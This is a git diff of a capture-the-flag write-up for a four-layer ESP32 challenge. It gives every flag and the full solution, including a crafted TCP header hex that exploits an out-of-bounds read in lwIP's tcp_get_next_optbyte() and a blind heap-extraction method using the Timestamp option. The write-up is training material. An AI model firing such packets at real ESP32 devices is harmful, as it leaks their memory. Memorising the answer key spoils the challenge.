write-up: ESP/Phantom_Byte/README.md
This commit is contained in:
parent
f1eea0f900
commit
067fcae60f
@ -1,20 +1,75 @@
|
||||
# Phantom Byte — Writeup
|
||||
# Phantom Byte
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Category | ESP |
|
||||
| Difficulty | Multi-part (Easy to Hard) |
|
||||
| Points | 100 / 200 / 300 / 500 (4 flags) |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
---
|
||||
|
||||
## Description
|
||||
|
||||
An ESP32 device was seized during a raid on an underground hackerspace.
|
||||
It is a relay node for a mesh network called **"The Wire"**.
|
||||
|
||||
The node's WiFi AP is still broadcasting. A debug probe is exposed on its TCP input path.
|
||||
|
||||
*Peel back the layers. Extract every secret this node is hiding.*
|
||||
|
||||
**WiFi:** `Phantom_Node` / `thewire2026`
|
||||
**Service:** `tcp://192.168.4.1:1337`
|
||||
|
||||
*"Close this world. Open the nEXt."*
|
||||
|
||||
---
|
||||
|
||||
## TL;DR
|
||||
|
||||
4-layer progressive challenge on a real ESP32. Exploit a heap-buffer-overflow
|
||||
in the device's TCP option parser (based on a real lwIP 0-day). Each layer
|
||||
teaches a skill leading to the final blind extraction.
|
||||
Four-layer progressive challenge based on a **real lwIP vulnerability** in
|
||||
`tcp_get_next_optbyte()`. Layer 1: read base64 from UART boot log. Layer 2: find
|
||||
a hidden command. Layer 3: heap-leak via crafted TCP option header (trace mode). Layer 4:
|
||||
blind extraction using the TCP Timestamp option as an oracle.
|
||||
|
||||
## Reconnaissance
|
||||
---
|
||||
|
||||
1. Flash firmware on ESP32, connect UART at 115200
|
||||
2. Connect to WiFi AP **Phantom_Node** (password: `thewire2024`)
|
||||
3. Connect to the debug probe: `nc 192.168.4.1 1337`
|
||||
## Tools
|
||||
|
||||
## Flag 1 — Signal (100pts)
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| `esptool.py` | Flash firmware to ESP32 |
|
||||
| `screen` / `minicom` | Read UART boot log |
|
||||
| `nc` | Connect to TCP service on port 1337 |
|
||||
| Python 3 | Automated exploit / solve script |
|
||||
|
||||
> *"The node whispers when it wakes."*
|
||||
---
|
||||
|
||||
## Flags Summary
|
||||
|
||||
| Flag | Name | Points | Value |
|
||||
|------|------|--------|-------|
|
||||
| 1/4 | Signal | 100 | `ESPILON{u4rt_s33s_4ll}` |
|
||||
| 2/4 | Backdoor | 200 | `ESPILON{h1dd3n_c0nf1g}` |
|
||||
| 3/4 | Memory Bleed | 300 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` |
|
||||
| 4/4 | Blind Oracle | 500 | `ESPILON{bl1nd_str4ddl3}` |
|
||||
|
||||
---
|
||||
|
||||
## Solution
|
||||
|
||||
### Setup
|
||||
|
||||
Flash firmware, connect to WiFi AP `Phantom_Node` / `thewire2024`, then:
|
||||
|
||||
```bash
|
||||
nc 192.168.4.1 1337
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Flag 1 — Signal (100 pts)
|
||||
|
||||
Monitor the UART output during boot. Among the diagnostic lines:
|
||||
|
||||
@ -26,23 +81,24 @@ Decode the base64:
|
||||
|
||||
```bash
|
||||
echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d
|
||||
# ESPILON{u4rt_s33s_4ll}
|
||||
```
|
||||
|
||||
Result: `ESPILON{u4rt_s33s_4ll}`
|
||||
> 📸 `[screenshot: UART terminal showing the base64 diagnostic line on boot]`
|
||||
|
||||
Submit over TCP:
|
||||
|
||||
```
|
||||
```text
|
||||
ph> unlock ESPILON{u4rt_s33s_4ll}
|
||||
>> sequence accepted.
|
||||
>> layer 2 unlocked. you're getting closer to the wire.
|
||||
```
|
||||
|
||||
## Flag 2 — Backdoor (200pts)
|
||||
---
|
||||
|
||||
> *"Phantom always leaves a way in."*
|
||||
### Flag 2 — Backdoor (200 pts)
|
||||
|
||||
In layer 2, `help` lists the documented commands. But the `mem` output hints:
|
||||
In layer 2, `help` lists the documented commands. The `mem` output hints:
|
||||
|
||||
```
|
||||
ph> mem
|
||||
@ -55,46 +111,49 @@ And `info` shows:
|
||||
>> backdoor: [CLASSIFIED]
|
||||
```
|
||||
|
||||
Try the hidden command `wire`:
|
||||
The hidden command is `wire`:
|
||||
|
||||
```
|
||||
```text
|
||||
ph> wire
|
||||
>> accessing the wire...
|
||||
>> config_cache dump:
|
||||
>> ESPILON{h1dd3n_c0nf1g}
|
||||
```
|
||||
|
||||
> 📸 `[screenshot: wire command revealing the hidden config cache contents]`
|
||||
|
||||
Submit:
|
||||
|
||||
```
|
||||
```text
|
||||
ph> unlock ESPILON{h1dd3n_c0nf1g}
|
||||
>> layer 3 unlocked. careful. the deeper you go, the less you come back.
|
||||
```
|
||||
|
||||
## Flag 3 — Memory Bleed (300pts)
|
||||
---
|
||||
|
||||
> *"The parser reads more than it should."*
|
||||
### Flag 3 — Memory Bleed (300 pts)
|
||||
|
||||
In layer 3, enable debug tracing and inject a crafted TCP SYN:
|
||||
In layer 3, enable debug tracing:
|
||||
|
||||
```
|
||||
```text
|
||||
ph> trace on
|
||||
>> trace enabled.
|
||||
```
|
||||
|
||||
Build a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes):
|
||||
The vulnerability: `tcp_get_next_optbyte()` uses `doff * 4` as the claimed option
|
||||
length without checking that it stays within the actual received segment bytes. Build
|
||||
a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes, 20 more than present):
|
||||
|
||||
```
|
||||
Byte 12-13: F002 (doff=15, flags=SYN)
|
||||
Bytes 12-13: F002 (doff=15, flags=SYN)
|
||||
Full: 053900500000000100000000f002ffff00000000
|
||||
```
|
||||
|
||||
Full hex: `053900500000000100000000f002ffff00000000`
|
||||
|
||||
```
|
||||
```text
|
||||
ph> inject 053900500000000100000000f002ffff00000000
|
||||
```
|
||||
|
||||
The trace output shows each byte read by `tcp_get_next_optbyte`:
|
||||
The trace output shows each out-of-bounds byte read from the adjacent `config_cache`:
|
||||
|
||||
```
|
||||
[TRACE] tcp_get_next_optbyte:
|
||||
@ -105,70 +164,49 @@ The trace output shows each byte read by `tcp_get_next_optbyte`:
|
||||
...
|
||||
```
|
||||
|
||||
All `<< oob` bytes are reads past the segment into the adjacent config_cache.
|
||||
Convert hex to ASCII:
|
||||
Convert the oob bytes to ASCII: `ESPILON{ph4nt0m_byt3_h34p_l34k}`
|
||||
|
||||
```
|
||||
0x45=E 0x53=S 0x50=P 0x49=I 0x4c=L 0x4f=O 0x4e=N 0x7b={
|
||||
0x70=p 0x68=h 0x34=4 0x6e=n 0x74=t 0x30=0 0x6d=m 0x5f=_
|
||||
0x62=b 0x79=y 0x74=t 0x33=3 0x5f=_ 0x68=h 0x33=3 0x34=4
|
||||
0x70=p 0x5f=_ 0x6c=l 0x33=3 0x34=4 0x6b=k 0x7d=}
|
||||
```
|
||||
> 📸 `[screenshot: trace output showing oob bytes reading the flag from heap]`
|
||||
|
||||
Flag: `ESPILON{ph4nt0m_byt3_h34p_l34k}`
|
||||
---
|
||||
|
||||
## Flag 4 — Blind Oracle (500pts)
|
||||
|
||||
> *"The protocol itself is your oracle."*
|
||||
### Flag 4 — Blind Oracle (500 pts)
|
||||
|
||||
Disable trace output — no more per-byte visibility:
|
||||
|
||||
```
|
||||
```text
|
||||
ph> trace off
|
||||
```
|
||||
|
||||
The vulnerability still exists, but now the only feedback is the **parsed
|
||||
option values**. Use the TCP Timestamp option (kind=8, len=10) to straddle
|
||||
the segment boundary:
|
||||
The vulnerability still exists, but now the only feedback is the **parsed option
|
||||
values** emitted as structured output. Use the TCP Timestamp option (kind=8, len=10)
|
||||
to straddle the segment boundary. The 8 data bytes (TSval + TSecr) are read from OOB
|
||||
heap memory, but their values are returned as decimal numbers in the response.
|
||||
|
||||
**Technique**: Place the Timestamp kind+len as the last 2 in-bounds bytes.
|
||||
The 8 data bytes (TSval: 4B + TSecr: 4B) are read from OOB heap memory.
|
||||
**Extraction technique:**
|
||||
|
||||
### Extraction
|
||||
Place the Timestamp kind+len bytes as the last 2 in-bounds bytes. The 8 value bytes
|
||||
are read from the adjacent flag buffer.
|
||||
|
||||
**Chunk 1** (flag bytes 0-7): seg_size=32, doff=10
|
||||
- Chunk 1 (bytes 0–7): `>> opt: TS=1163150159/1280267387`
|
||||
- `1163150159 = 0x45535049` → `ESPI`
|
||||
- `1280267387 = 0x4C4F4E7B` → `LON{`
|
||||
|
||||
```
|
||||
ph> inject <crafted_hex>
|
||||
>> opt: TS=1163150159/1280267387
|
||||
```
|
||||
- Chunk 2 (bytes 8–15): decode TSval/TSecr → `bl1n` / `d_st`
|
||||
|
||||
Decode: `1163150159` → `0x45535049` → `ESPI`, `1280267387` → `0x4c4f4e7b` → `LON{`
|
||||
|
||||
**Chunk 2** (flag bytes 8-15): seg_size=40, doff=12
|
||||
|
||||
Decode TSval/TSecr → `bl1n` / `d_st`
|
||||
|
||||
**Chunk 3** (flag bytes 16-22): seg_size=48, doff=14
|
||||
|
||||
Decode TSval/TSecr → `r4dd` / `l3}\x00`
|
||||
- Chunk 3 (bytes 16–22): decode TSval/TSecr → `r4dd` / `l3}\x00`
|
||||
|
||||
Reconstruct: `ESPILON{bl1nd_str4ddl3}`
|
||||
|
||||
## Automated Solver
|
||||
> 📸 `[screenshot: inject command returning TS values that decode to flag bytes]`
|
||||
|
||||
Automated solver:
|
||||
|
||||
```bash
|
||||
python3 solve.py 192.168.4.1 1337
|
||||
```
|
||||
|
||||
## Flags
|
||||
|
||||
| # | Flag | Points |
|
||||
|---|------|--------|
|
||||
| 1 | `ESPILON{u4rt_s33s_4ll}` | 100 |
|
||||
| 2 | `ESPILON{h1dd3n_c0nf1g}` | 200 |
|
||||
| 3 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` | 300 |
|
||||
| 4 | `ESPILON{bl1nd_str4ddl3}` | 500 |
|
||||
---
|
||||
|
||||
## Real-world Context
|
||||
|
||||
@ -176,3 +214,12 @@ This challenge is based on a **real vulnerability** found in lwIP 2.1.3 (ESP-IDF
|
||||
The function `tcp_get_next_optbyte()` in `tcp_in.c` does not validate that the option
|
||||
index stays within the pbuf's actual payload length. A remote attacker can send a crafted
|
||||
TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory.
|
||||
|
||||
---
|
||||
|
||||
## Flag
|
||||
|
||||
- Flag 1: `ESPILON{u4rt_s33s_4ll}`
|
||||
- Flag 2: `ESPILON{h1dd3n_c0nf1g}`
|
||||
- Flag 3: `ESPILON{ph4nt0m_byt3_h34p_l34k}`
|
||||
- Flag 4: `ESPILON{bl1nd_str4ddl3}`
|
||||
|
||||
Loading…
Reference in New Issue
Block a user